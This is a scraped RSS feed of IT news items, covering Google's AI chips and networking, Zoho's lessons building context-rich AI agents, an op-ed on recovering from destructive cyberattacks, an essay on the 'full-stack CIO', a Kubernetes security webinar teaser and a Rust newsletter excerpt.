<p class="wp-block-paragraph">Google also made drastic improvements to its silicon to support its middleware changes. It recently <a href="https://www.networkworld.com/article/4162004/google-bets-on-workload-specific-tpus-with-8t-and-8i-launch.html">introduced new AI chips</a>, with the TPU-8t for training, and TPU-8i for inference. The 8t chip has three times more computing power than the previous-generation Ironwood chip. The 8i chip has 384 megabytes of SRAM and 288GB of HBM3e memory, which is 50% more than the previous-generation chip.</p>



<p class="wp-block-paragraph">The platform is optimized for KV cache (key-value cache), which stores important contextual information needed by agents to make decisions, which reduces the round trips to other memory and storage systems. “Being able to store more of the KV cache directly on the chip allows you to respond much more rapidly and cost-effectively,” Lohmeyer said.</p>



<p class="wp-block-paragraph">A new CPU called <a href="https://www.networkworld.com/article/4086182/google-cloud-aims-for-more-cost-effective-arm-computing-with-axion-n4a.html">Axion N4A</a> is more power efficient at agentic workloads such as orchestration and tool calling, Lohmeyer said.</p>



<p class="wp-block-paragraph">Google also made many network and storage improvements to cut training and inference time. A new technology called <a href="https://cloud.google.com/blog/products/compute/tpu-8t-and-tpu-8i-technical-deep-dive">TPUDirect</a> can move data from storage directly into the memory of the TPU quickly by bypassing any orchestration overhead, Lohmeyer said.</p>



<p class="wp-block-paragraph"><a href="https://cloud.google.com/blog/products/networking/introducing-virgo-megascale-data-center-fabric">A networking technology called Virgo</a> can coordinate 1 million TPUs across a widely distributed network. It can also link up GPUs such as Nvidia’s latest CPU-GPU package called Vera Rubin. “In the case of Vera Rubin, we’ll be able to connect up to 960,000 GPUs leveraging Virgo,” Lohmeyer said.</p>



<p class="wp-block-paragraph">A new technology called <a href="https://docs.cloud.google.com/ai-hypercomputer/docs/workloads/pathways-on-cloud/pathways-intro">Pathways</a> is a distributed training framework that efficiently scales machine learning across millions of TPUs and GPUs. Pathways solves bottleneck issues typically associated with JAX, and both help coordinate across wide networks.</p>



<p class="wp-block-paragraph">“The software to orchestrate these large-scale distributed training jobs is also just as important as the hardware that it runs on top of,” Lohmeyer said.</p>



<h2 class="wp-block-heading">Weighing Google’s AI data-center stack</h2>



<p class="wp-block-paragraph">Google is the only provider with its own data centers, software, hardware and models, said <a href="https://www.linkedin.com/in/jckgld/">Jack Gold</a>, principal analyst at J. Gold Associates. Google can optimize each on a regular cadence, which “many data centers can’t easily afford given the high cost of new chips,” Gold said.</p>



<p class="wp-block-paragraph">Google’s stack may not be best for every data center need compared to Nvidia’s general-purpose GPUs, CPUs, and networking. AWS and Microsoft are also creating their chips.</p>



<p class="wp-block-paragraph">“There is no real risk of Nvidia being replaced by Google in a big way. But with an ever-expanding market, there is plenty of room for all players,” Gold said.</p>



<p class="wp-block-paragraph">But <a href="https://www.linkedin.com/in/logan-wolfe/">Logan Wolfe</a>, partner at Kyndryl’s global AI strategy and sovereign transformation, advised enterprises to adopt a multi-cloud strategy to reduce risk from system failures, however superior an infrastructure may be. “I think that kind of hybrid and liquid infrastructure, we’re definitely getting there,” Wolfe said.</p>



<p class="wp-block-paragraph">The cost per token varies depending on the provider of inference, whether that’s Microsoft, Google, OpenAI or Anthropic. That will matter as AI moves from experimentation to a powerful tool that drives business changes.</p>



<p class="wp-block-paragraph">“Ultimately it really comes down to how much money are we spending on AI to move a certain business outcome,” Wolfe said.</p>
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<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
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<title><![CDATA[Understanding the AI economy]]></title>
<description><![CDATA[We’re releasing the first Activity, Task, Landscape, and Adoption Study (ATLAS) report, showing how people use Google’s AI tools.]]></description>
<link>https://tsecurity.de/de/3688629/it-nachrichten/understanding-the-ai-economy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688629/it-nachrichten/understanding-the-ai-economy/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:39 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://storage.googleapis.com/gweb-uniblog-publish-prod/images/hero_image-3-with-logo.max-600x600.format-webp.webp">We’re releasing the first Activity, Task, Landscape, and Adoption Study (ATLAS) report, showing how people use Google’s AI tools.]]></content:encoded>
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<title><![CDATA[Principles every enterprise must test before the attack arrives]]></title>
<description><![CDATA[I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company mos...]]></description>
<link>https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.</p>



<p class="wp-block-paragraph">Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”</p>



<p class="wp-block-paragraph">This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.</p>



<p class="wp-block-paragraph">As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:</p>



<h2 class="wp-block-heading">Recovery is not just a technical exercise</h2>



<p class="wp-block-paragraph">The first assumption to break during a real crisis is <a href="https://www.cio.com/article/4165019/your-cloud-strategy-is-incomplete-without-a-cyber-recovery-plan.html">the belief that recovery is purely technical</a>.</p>



<p class="wp-block-paragraph">Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can <a>point to</a> backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.</p>



<p class="wp-block-paragraph">The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.</p>



<p class="wp-block-paragraph">Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A <a href="https://www.veeam.com/company/press-release/veeam-report-reveals-a-market-wide-shift-from-recovery-confidence-to-proven-data-resilience-amid-ransomware-threats-and-ai-adoption.html">recent survey</a> found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.</p>



<p class="wp-block-paragraph">True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.</p>



<h2 class="wp-block-heading">Most business continuity plans ignore ‘total blackout’</h2>



<p class="wp-block-paragraph">I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.</p>



<p class="wp-block-paragraph">Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.</p>



<p class="wp-block-paragraph">This is also where boards need to change the conversation. A <a href="https://www.diligent.com/resources/research/cybersecurity-audit">study found</a> that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.</p>



<p class="wp-block-paragraph">That is the level of clarity leaders need.</p>



<p class="wp-block-paragraph">The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.</p>



<p class="wp-block-paragraph">The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.</p>



<p class="wp-block-paragraph">If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.</p>



<h2 class="wp-block-heading">Threat intelligence must be actionable, not archived</h2>



<p class="wp-block-paragraph">Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.</p>



<p class="wp-block-paragraph">If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested <em>before</em> the attack.</p>



<p class="wp-block-paragraph">Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.</p>



<p class="wp-block-paragraph">Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.</p>



<p class="wp-block-paragraph">Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.</p>



<p class="wp-block-paragraph">Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations <em>now</em>. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[AI success requires a full-stack CIO]]></title>
<description><![CDATA[Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?



It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tool...]]></description>
<link>https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/</guid>
<pubDate>Thu, 23 Jul 2026 11:43:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?</p>



<p class="wp-block-paragraph">It’s an understandable concern. <a href="https://www.cio.com/article/4171959/ceos-top-priorities-for-it-leaders-today-2.html">Boards and CEOs are asking about AI</a>. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.</p>



<p class="wp-block-paragraph">After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.</p>



<p class="wp-block-paragraph">Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.</p>



<p class="wp-block-paragraph">I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, <a href="https://www.cio.com/article/272180/relationship-building-networking-how-to-wow-your-board-of-directors.html">influence a board</a>, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.</p>



<p class="wp-block-paragraph">Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.</p>



<p class="wp-block-paragraph">While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.</p>



<p class="wp-block-paragraph">That versatility gives Talasaz a unique lens on how CIOs <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">can deliver value with AI</a>.</p>



<p class="wp-block-paragraph">Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.</p>



<h2 class="wp-block-heading">The full-stack CIO: Leading with clarity</h2>



<p class="wp-block-paragraph">A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.</p>



<p class="wp-block-paragraph">The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.</p>



<p class="wp-block-paragraph">And those who execute best lead with clarity, Talasaz says.</p>



<p class="wp-block-paragraph">“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”</p>



<p class="wp-block-paragraph">One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.</p>



<p class="wp-block-paragraph">As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.</p>



<p class="wp-block-paragraph">And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.</p>



<p class="wp-block-paragraph">“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”</p>



<p class="wp-block-paragraph">At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.</p>



<h2 class="wp-block-heading">Reducing organizational friction</h2>



<p class="wp-block-paragraph">Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”</p>



<p class="wp-block-paragraph">Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?</p>



<p class="wp-block-paragraph">Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.</p>



<p class="wp-block-paragraph">AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.</p>



<h1 class="wp-block-heading">Operating model as strategy enabler</h1>



<p class="wp-block-paragraph">AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.</p>



<p class="wp-block-paragraph">Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.</p>



<p class="wp-block-paragraph">“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.</p>



<p class="wp-block-paragraph">The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.</p>



<p class="wp-block-paragraph">This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.</p>



<p class="wp-block-paragraph">Talasaz points out that technology leaders tend to speak in terms of <em>transformation</em>. He suggests CIOs consider a different word: <em>reinvention.</em></p>



<p class="wp-block-paragraph">As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.</p>



<p class="wp-block-paragraph">Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.</p>



<h2 class="wp-block-heading">Closing the gap between strategy and execution</h2>



<p class="wp-block-paragraph">Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”</p>



<p class="wp-block-paragraph">As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”</p>



<p class="wp-block-paragraph">Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.</p>



<p class="wp-block-paragraph">Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.</p>



<p class="wp-block-paragraph">The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.</p>



<p class="wp-block-paragraph">This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.</p>



<p class="wp-block-paragraph"><em>Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to <a href="mailto:droberts@ouellette-online.com?subject=P4P:%206x6%20Framework%20Roundtable">reach out to me directly</a>.</em></p>
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<title><![CDATA[heise-Angebot: Webinar von heise security: Deep-Dive in Kubernetes-Sicherheit]]></title>
<description><![CDATA[Kubernetes-Knowhow im Doppelpack für Admins und Sicherheitsverantwortliche: Von der Härtung des K8S-Clusters bis zur Verteidigung gegen Cyberkriminelle.]]></description>
<link>https://tsecurity.de/de/3688149/it-nachrichten/heise-angebot-webinar-von-heise-security-deep-dive-in-kubernetes-sicherheit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688149/it-nachrichten/heise-angebot-webinar-von-heise-security-deep-dive-in-kubernetes-sicherheit/</guid>
<pubDate>Thu, 23 Jul 2026 08:17:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Kubernetes-Knowhow im Doppelpack für Admins und Sicherheitsverantwortliche: Von der Härtung des K8S-Clusters bis zur Verteidigung gegen Cyberkriminelle.]]></content:encoded>
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<title><![CDATA[This Week In Rust: This Week in Rust 661]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</guid>
<pubDate>Thu, 23 Jul 2026 07:18:12 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
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<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/2026/07/16/Rust-1.97.1/">Announcing Rust 1.97.1</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#newsletters">Newsletters</a></h5>
<ul>
<li><a href="https://www.theembeddedrustacean.com/p/the-embedded-rustacean-issue-76">The Embedded Rustacean Issue #76</a></li>
</ul>
